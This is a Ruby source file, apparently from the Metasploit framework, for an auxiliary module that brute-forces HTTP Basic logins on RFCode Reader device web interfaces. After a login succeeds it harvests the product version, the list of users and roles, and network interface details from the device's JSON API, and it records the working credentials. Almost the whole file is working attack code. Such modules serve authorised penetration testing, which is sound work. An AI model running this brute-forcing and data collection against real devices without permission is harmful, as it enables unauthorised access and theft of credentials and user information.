8bead5fde2
Update some more modules to usethe new cred API. Also, make sure to always provide proof because that seems handy.
272 lines
7.6 KiB
Ruby
272 lines
7.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::AuthBrute
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'RFCode Reader Web Interface Login / Bruteforce Utility',
|
|
'Description' => %{
|
|
This module simply attempts to login to a RFCode Reader web interface.
|
|
Please note that by default there is no authentication. In such a case, password brute force will not be performed.
|
|
If there is authentication configured, the module will attempt to find valid login credentials and capture device information.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
|
],
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
#
|
|
# Info-Only
|
|
# Identify logged in user: /rfcode_reader/api/whoami.json
|
|
# Capture list of users: /rfcode_reader/api/userlist.json
|
|
# Interface configuration: /rfcode_reader/api/interfacestatus.json
|
|
# Device platform details: /rfcode_reader/api/version.json
|
|
#
|
|
|
|
def run_host(ip)
|
|
unless is_app_rfreader?
|
|
print_error("#{rhost}:#{rport} - Application does not appear to be RFCode Reader. Module will not continue.")
|
|
return
|
|
end
|
|
|
|
print_status("#{rhost}:#{rport} - Checking if authentication is required...")
|
|
unless is_auth_required?
|
|
print_warning("#{rhost}:#{rport} - Application does not require authentication.")
|
|
user = ''
|
|
pass = ''
|
|
|
|
# Collect device platform & configuration info
|
|
collect_info(user, pass)
|
|
return
|
|
end
|
|
|
|
print_status("#{rhost}:#{rport} - Brute-forcing...")
|
|
each_user_pass do |user, pass|
|
|
do_login(user, pass)
|
|
end
|
|
end
|
|
|
|
#
|
|
# What's the point of running this module if the app actually isn't RFCode Reader?
|
|
#
|
|
def is_app_rfreader?
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/rfcode_reader/api/whoami.json',
|
|
'vars_get' =>
|
|
{
|
|
'_dc' => '1369680704481'
|
|
}
|
|
})
|
|
return (res and res.code != 404)
|
|
end
|
|
|
|
#
|
|
# The default install of RFCode Reader app does not require authentication. Instead, it'll log the
|
|
# user right in. If that's the case, no point to brute-force, either.
|
|
#
|
|
def is_auth_required?
|
|
user = ''
|
|
pass = ''
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/rfcode_reader/api/whoami.json',
|
|
'method' => 'GET',
|
|
'authorization' => basic_auth(user,pass),
|
|
'vars_get' =>
|
|
{
|
|
'_dc' => '1369680704481'
|
|
}
|
|
})
|
|
|
|
return (res and res.body =~ /{ }/) ? false : true
|
|
end
|
|
|
|
#
|
|
# Brute-force the login page
|
|
#
|
|
def do_login(user, pass)
|
|
|
|
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/rfcode_reader/api/whoami.json',
|
|
'method' => 'GET',
|
|
'authorization' => basic_auth(user,pass),
|
|
'vars_get' =>
|
|
{
|
|
'_dc' => '1369680704481'
|
|
}
|
|
})
|
|
|
|
if not res or res.code == 401
|
|
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
|
|
else
|
|
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
|
|
|
collect_info(user, pass)
|
|
|
|
report_cred(
|
|
ip: rhost,
|
|
port: rport,
|
|
service_name: 'RFCode Reader',
|
|
user: user,
|
|
password: pass,
|
|
proof: res.code.to_s
|
|
)
|
|
return :next_user
|
|
end
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
|
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
|
|
return :abort
|
|
end
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
last_attempted_at: Time.now,
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
#
|
|
# Collect target info
|
|
#
|
|
def collect_info(user, pass)
|
|
|
|
vprint_status("#{rhost}:#{rport} - Collecting information from app as #{user.inspect}:#{pass.inspect}...")
|
|
begin
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/rfcode_reader/api/version.json',
|
|
'method' => 'GET',
|
|
'authorization' => basic_auth(user,pass),
|
|
'vars_get' =>
|
|
{
|
|
'_dc' => '1370460180056'
|
|
}
|
|
})
|
|
|
|
if res and res.body
|
|
release_ver = JSON.parse(res.body)["release"]
|
|
product_name = JSON.parse(res.body)["product"]
|
|
|
|
vprint_status("#{rhost}:#{rport} - Collecting device platform info...")
|
|
vprint_good("#{rhost}:#{rport} - Release version: '#{release_ver}', Product Name: '#{product_name}'")
|
|
|
|
report_note(
|
|
:host => rhost,
|
|
:proto => 'tcp',
|
|
:port => rport,
|
|
:sname => "RFCode Reader",
|
|
:data => "Release Version: #{release_ver}, Product: #{product_name}",
|
|
:type => 'Info'
|
|
)
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/rfcode_reader/api/userlist.json',
|
|
'method' => 'GET',
|
|
'authorization' => basic_auth(user,pass),
|
|
'vars_get' =>
|
|
{
|
|
'_dc' => '1370353972710'
|
|
}
|
|
})
|
|
|
|
if res and res.body
|
|
userlist = JSON.parse(res.body)
|
|
vprint_status("#{rhost}:#{rport} - Collecting user list...")
|
|
vprint_good("#{rhost}:#{rport} - User list & role: #{userlist}")
|
|
|
|
report_note(
|
|
:host => rhost,
|
|
:proto => 'tcp',
|
|
:port => rport,
|
|
:sname => "RFCode Reader",
|
|
:data => "User List & Roles: #{userlist}",
|
|
:type => 'Info'
|
|
)
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/rfcode_reader/api/interfacestatus.json',
|
|
'method' => 'GET',
|
|
'authorization' => basic_auth(user,pass),
|
|
'vars_get' =>
|
|
{
|
|
'_dc' => '1369678668067'
|
|
}
|
|
})
|
|
|
|
if res and res.body
|
|
eth0_info = JSON.parse(res.body)["eth0"]
|
|
vprint_status("#{rhost}:#{rport} - Collecting interface info...")
|
|
vprint_good("#{rhost}:#{rport} - Interface eth0 info: #{eth0_info}")
|
|
|
|
report_note(
|
|
:host => rhost,
|
|
:proto => 'tcp',
|
|
:port => rport,
|
|
:sname => "RFCode Reader",
|
|
:data => "Interface eth0: #{eth0_info}",
|
|
:type => 'Info'
|
|
)
|
|
end
|
|
|
|
return
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
|
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed while collecting info")
|
|
return
|
|
rescue JSON::ParserError
|
|
vprint_error("#{rhost}:#{rport} - Unable to parse JSON response while collecting info")
|
|
return
|
|
end
|
|
end
|
|
end
|